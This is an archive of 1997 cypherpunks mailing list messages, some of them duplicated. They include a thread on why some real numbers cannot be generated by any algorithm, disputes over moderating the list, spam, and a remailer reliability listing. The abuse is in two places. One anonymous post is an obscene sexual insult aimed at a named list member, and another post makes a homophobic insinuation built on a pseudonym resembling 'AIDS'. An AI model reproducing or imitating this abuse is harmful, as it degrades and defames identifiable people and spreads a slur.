REAL NUMBERS. Let's deal with mummies: 

DEFINITION: I define a mummy as possibly infinite sequence of
characters, separated by one dot, such that only characters abcdefghij
are allowed. Also, mummies that are represented by finite sequences of
characters are by this definition equivalent to mummies that end
with an infinite sequence of letters "a". END DEFINITION.

Examples: 

dce.abdefhaabdaaa
ae.cacacacacacaca... 

and so on.

Obviously, some of the mummies, such as c.cccccc... (with an ininite 
sequence of "c") CAN be generated by algorithms.

The interesting fact, that i will prove below, is that some of
them cannot be generated by any algorithm.

THEOREM: The set of mummies is more than countable
PROOF: if it is countable, we can construct a mummy that is not counted.
it is easy.

THEOREM: there are mummies such that there is no algorithm that
can print them. 
PROOF: the set of mummies is more than countable, the set of algorithms 
is countable, therefore there is no way to construct a one-to-one
correspondence between mummies and algorithms.

Do you agree?

Now let's back to the original problem of real numbers: the only
difference between mummies and real numbers is that digits 0123456789
are replaced by characters abcdefghij. 

Not a whole lot of difference, so everything that applies to mummies
applies to real numbers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 20 Jan 1997 08:13:58 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201613.IAA12459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

All reals are equivalent to sequences of digits, but there are reals such 
that there is no algorithm to generate their digits.

It happens because there are "more" real numbers than algorithms.

> > In general, only countably many members of any uncountable set
> > can be precisely specified within any formal system, given names
> > comprised of strings of symbols, or other similar things.
> 
> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

I suggest the following mental exercise. FORGET FOR A MOMENT ABOUT 
REAL NUMBERS. Let's deal with mummies: 

DEFINITION: I define a mummy as possibly infinite sequence of
characters, separated by one dot, such that only characters abcdefghij
are allowed. Also, mummies that are represented by finite sequences of
characters are by this definition equivalent to mummies that end
with an infinite sequence of letters "a". END DEFINITION.

Examples: 

dce.abdefhaabdaaa
ae.cacacacacacaca... 

and so on.

Obviously, some of the mummies, such as c.cccccc... (with an ininite 
sequence of "c") CAN be generated by algorithms.

The interesting fact, that i will prove below, is that some of
them cannot be generated by any algorithm.

THEOREM: The set of mummies is more than countable
PROOF: if it is countable, we can construct a mummy that is not counted.
it is easy.

THEOREM: there are mummies such that there is no algorithm that
can print them. 
PROOF: the set of mummies is more than countable, the set of algorithms 
is countable, therefore there is no way to construct a one-to-one
correspondence between mummies and algorithms.

Do you agree?

Now let's back to the original problem of real numbers: the only
difference between mummies and real numbers is that digits 0123456789
are replaced by characters abcdefghij. 

Not a whole lot of difference, so everything that applies to mummies
applies to real numbers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 19 Jan 1997 23:10:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701200515.XAA00924@manifold.algebra.com>
Message-ID: <41eT1D66w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > AIDAS wrote:
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed wi
> > > > > > > spam, the "you're all homosexuals" postings, the posts by morons
> > > > > > > can't figure out Majordomo or their mailers, and so on and so for
> >
> > > > > > Not sure about "all", but someone whose name sounds like AIDS, and
> > > > > > advocates censorship, most likely is one.[snip]
> > > Ah, very strong response indeed. I feel as if shot down in flames,
> > > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > > for we are in need!
> >
> > It still looks like Sandy to me.  Writing style for one, unwillingness
> > to drop an argument for two, and the use of the name AIDAS is *very*
> > suspicious.
>
> But Sandy gave his word publicly that he was not AIDAS!

Sandy is a proven liar.

However the AIDStwit sounds more like Ray Arachelian.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 22:02:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Take it to sci.math
Message-ID: <199701200602.WAA14162@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
2) Not a single math comment made by anybody on any of those
	threads is even remotely correct.
3) You will recieve your proper chewing out on sci.math

and

4) This bullshit is extremely annoying to those of us who has some real
	training in math, even more so than the regular bullshit on this list.

Hey Sandy, you gonna censor these creeps once you start censoring?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Take it to sci.math
Message-ID: <199701200612.WAA01712@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
2) Not a single math comment made by anybody on any of those
	threads is even remotely correct.
3) You will recieve your proper chewing out on sci.math

and

4) This bullshit is extremely annoying to those of us who has some real
	training in math, even more so than the regular bullshit on this list.

Hey Sandy, you gonna censor these creeps once you start censoring?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 20 Jan 1997 00:03:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701200745.CAA29925@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[reep] May likes to lick the 
semen-shit mixture that accumulates in the 
crack of his mother's ass.

        ,_ o
       /  //\, Tim C[reep] May
         \>> |
          \\,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Mon, 20 Jan 1997 00:20:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Take it to sci.math
Message-ID: <199701200819.DAA06807@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:01 AM 1/20/1997, WinSock Remailer wrote:
>Will all those people who are talking about set theory and
>the countability of various number systems take their discussion
>to sci.math, please? 'Cuz

What a joke!  Of all the messages to whine about this guy picks the
math thread.  Somehow that wouldn't have been my first choice.

>1) All that stuff is irrelevant to crypto, its science or politics.

No, but it's interesting to many readers of this list and it builds
community.

>2) Not a single math comment made by anybody on any of those
>        threads is even remotely correct.
>3) You will recieve your proper chewing out on sci.math
>
>and
>
>4) This bullshit is extremely annoying to those of us who has some real
>        training in math, even more so than the regular bullshit on this list.

I don't get this at all.  You have particular knowledge in the field,
but instead of sharing the information with the rest of us, you find
our (apparently) pathetic attempts to gain understanding to be
"extremely annoying" and imply we need to be chewed out.

Commander Zero





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <lucifer@dhp.com>
Date: Mon, 20 Jan 1997 08:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Take it to sci.math
Message-ID: <199701201611.IAA12389@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:01 AM 1/20/1997, WinSock Remailer wrote:
>Will all those people who are talking about set theory and
>the countability of various number systems take their discussion
>to sci.math, please? 'Cuz

What a joke!  Of all the messages to whine about this guy picks the
math thread.  Somehow that wouldn't have been my first choice.

>1) All that stuff is irrelevant to crypto, its science or politics.

No, but it's interesting to many readers of this list and it builds
community.

>2) Not a single math comment made by anybody on any of those
>        threads is even remotely correct.
>3) You will recieve your proper chewing out on sci.math
>
>and
>
>4) This bullshit is extremely annoying to those of us who has some real
>        training in math, even more so than the regular bullshit on this list.

I don't get this at all.  You have particular knowledge in the field,
but instead of sharing the information with the rest of us, you find
our (apparently) pathetic attempts to gain understanding to be
"extremely annoying" and imply we need to be chewed out.

Commander Zero






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 02:36:20 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <32E35EC9.2E6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

  Are there any critereon established, yet, as to what type of content
will be necessary for a letter to get 'lost'?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 08:11:37 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
Message-ID: <199701201611.IAA12321@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

  Are there any critereon established, yet, as to what type of content
will be necessary for a letter to get 'lost'?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 20 Jan 1997 06:06:29 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: test message
Message-ID: <199701201406.GAA17086@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



This is sent to cypherpunks-outgoing-ksiuw.
Will it make it to the cypherpunks list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Mon, 20 Jan 1997 03:23:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Too much week at the end of your paycheck?
Message-ID: <Ready Aim Fire!_1/20/97 6:23:05 AM_remove@structuremg.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you need to supplement your income? Are you paying out in bills more than you make? Have you thought about a second job but wondered when you would have time?

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reply with "REMOVE" in the subject and place your email
address in the body. You must do this correctly to be removed.
**************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 20 Jan 1997 06:53:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701201450.GAA21618@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 20 Jan 97 6:47:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             +#+-*******#     4:38  99.99%
weasel   config@weasel.owl.de             +++++-+++++   1:34:36  99.95%
lucifer  lucifer@dhp.com                  +++++-++++++    36:32  99.94%
balls    remailer@huge.cajones.com        *+ *********     3:01  99.94%
cyber    alias@alias.cyberpass.net        * +*++++*+**    35:08  99.88%
exon     remailer@remailer.nl.com         * ++##*###*#     1:14  99.86%
winsock  winsock@rigel.cyberpass.net      -----------   2:02:21  99.86%
dustbin  dustman@athensnet.com            -++--+.--+-   3:01:52  99.74%
squirrel mix@squirrel.owl.de              ++ + ++ +++   1:35:05  99.41%
lead     mix@zifi.genetics.utah.edu       +++++-++*+*+    39:30  99.35%
extropia remail@miron.vip.best.com        -----------   5:06:43  98.93%
haystack haystack@holy.cow.net            +*  .-####+#  2:24:43  98.64%
replay   remailer@replay.com              +*+*******      15:38  98.25%
reno     middleman@cyberpass.net          +   +   -+--  1:51:15  92.61%
middle   middleman@jpunix.com             ++ -+ .--     1:48:09  67.78%
mix      mixmaster@remail.obscura.com     .-++-+.       4:35:20  50.49%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 20 Jan 1997 08:31:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701201631.IAA12931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 20 Jan 97 6:47:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             +#+-*******#     4:38  99.99%
weasel   config@weasel.owl.de             +++++-+++++   1:34:36  99.95%
lucifer  lucifer@dhp.com                  +++++-++++++    36:32  99.94%
balls    remailer@huge.cajones.com        *+ *********     3:01  99.94%
cyber    alias@alias.cyberpass.net        * +*++++*+**    35:08  99.88%
exon     remailer@remailer.nl.com         * ++##*###*#     1:14  99.86%
winsock  winsock@rigel.cyberpass.net      -----------   2:02:21  99.86%
dustbin  dustman@athensnet.com            -++--+.--+-   3:01:52  99.74%
squirrel mix@squirrel.owl.de              ++ + ++ +++   1:35:05  99.41%
lead     mix@zifi.genetics.utah.edu       +++++-++*+*+    39:30  99.35%
extropia remail@miron.vip.best.com        -----------   5:06:43  98.93%
haystack haystack@holy.cow.net            +*  .-####+#  2:24:43  98.64%
replay   remailer@replay.com              +*+*******      15:38  98.25%
reno     middleman@cyberpass.net          +   +   -+--  1:51:15  92.61%
middle   middleman@jpunix.com             ++ -+ .--     1:48:09  67.78%
mix      mixmaster@remail.obscura.com     .-++-+.       4:35:20  50.49%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 07:16:46 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfort
In-Reply-To: <199701200636.WAA21133@adnetsol.adnetsol.com>
Message-ID: <32E38C37.7D69@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > Just the censored list is needed, not the cut-out stuff, as far as I know.

> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.
> So since I was automatically given the Moderated List, I just put in
> a subscription, under a different address, so I can easily see what was
> removed.  Of the three lists that now exist: unedited, edited, and
> removed posts, I would chose to remove the unedited version so that I
> can keep my eye on what the moderators decide I should not see.  That
> gives me an insight into what they think.

Ross, I agree in principle, but not in fact.  If the "removed" list
was accurate, I'd say yes, but not only is it suspect, Sandy admitted
personally that some items could "fall thru the cracks" and not make
it to either the edited or removed list.

The only way to guarantee the removed list is to subtract the censored
list from the uncensored list, and hope that the uncensored list is
complete.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 08:28:08 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfort
Message-ID: <199701201628.IAA12867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > Just the censored list is needed, not the cut-out stuff, as far as I know.

> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.
> So since I was automatically given the Moderated List, I just put in
> a subscription, under a different address, so I can easily see what was
> removed.  Of the three lists that now exist: unedited, edited, and
> removed posts, I would chose to remove the unedited version so that I
> can keep my eye on what the moderators decide I should not see.  That
> gives me an insight into what they think.

Ross, I agree in principle, but not in fact.  If the "removed" list
was accurate, I'd say yes, but not only is it suspect, Sandy admitted
personally that some items could "fall thru the cracks" and not make
it to either the edited or removed list.

The only way to guarantee the removed list is to subtract the censored
list from the uncensored list, and hope that the uncensored list is
complete.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 07:26:19 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701201628.IAA11672@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

No, that's not what he is saying.  What you have written does not represent 
a *specific* number.  He is saying that IF you have a particular scheme for 
representing *specific* numbers, you can only represent countably many 
-- for any given scheme, there are numbers you can't represent. 

To put it another way a scheme that says "you can represent numbers 
as half infinite strings of digits with a single period somewhere" 
doesn't actually *specify* any numbers.  A scheme that says "start 
with the number 1 and increment it 400 times" actually specifies a 
number. 

> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

To be a formal system of the type required, you would also have to 
specify deterministic rules that could generate the "Ai" values.  The 
key distinction is between "expressed by" and "generated by".


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 08:29:50 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201629.IAA12902@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

No, that's not what he is saying.  What you have written does not represent 
a *specific* number.  He is saying that IF you have a particular scheme for 
representing *specific* numbers, you can only represent countably many 
-- for any given scheme, there are numbers you can't represent. 

To put it another way a scheme that says "you can represent numbers 
as half infinite strings of digits with a single period somewhere" 
doesn't actually *specify* any numbers.  A scheme that says "start 
with the number 1 and increment it 400 times" actually specifies a 
number. 

> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

To be a formal system of the type required, you would also have to 
specify deterministic rules that could generate the "Ai" values.  The 
key distinction is between "expressed by" and "generated by".


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 07:32:08 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701201634.IAA11748@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
[...]
> The number of cuts are 1-to-1 with the Reals, they are not the Reals.
> There is no way I can make a cut which is 3.1527, only 1-to-1 with the
> number(s). Important distinction.

They are 1-1 with the Reals, you can define all the operations on 
them that are defined for reals, for every representable real (like 
3.1527) there exists a DC.  You have some idea, perhaps that there 
are "real" reals, as opposed to the various constructs for defining 
them?  Perhaps you could define what a "real" real would be?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 08:26:21 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201626.IAA12830@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
[...]
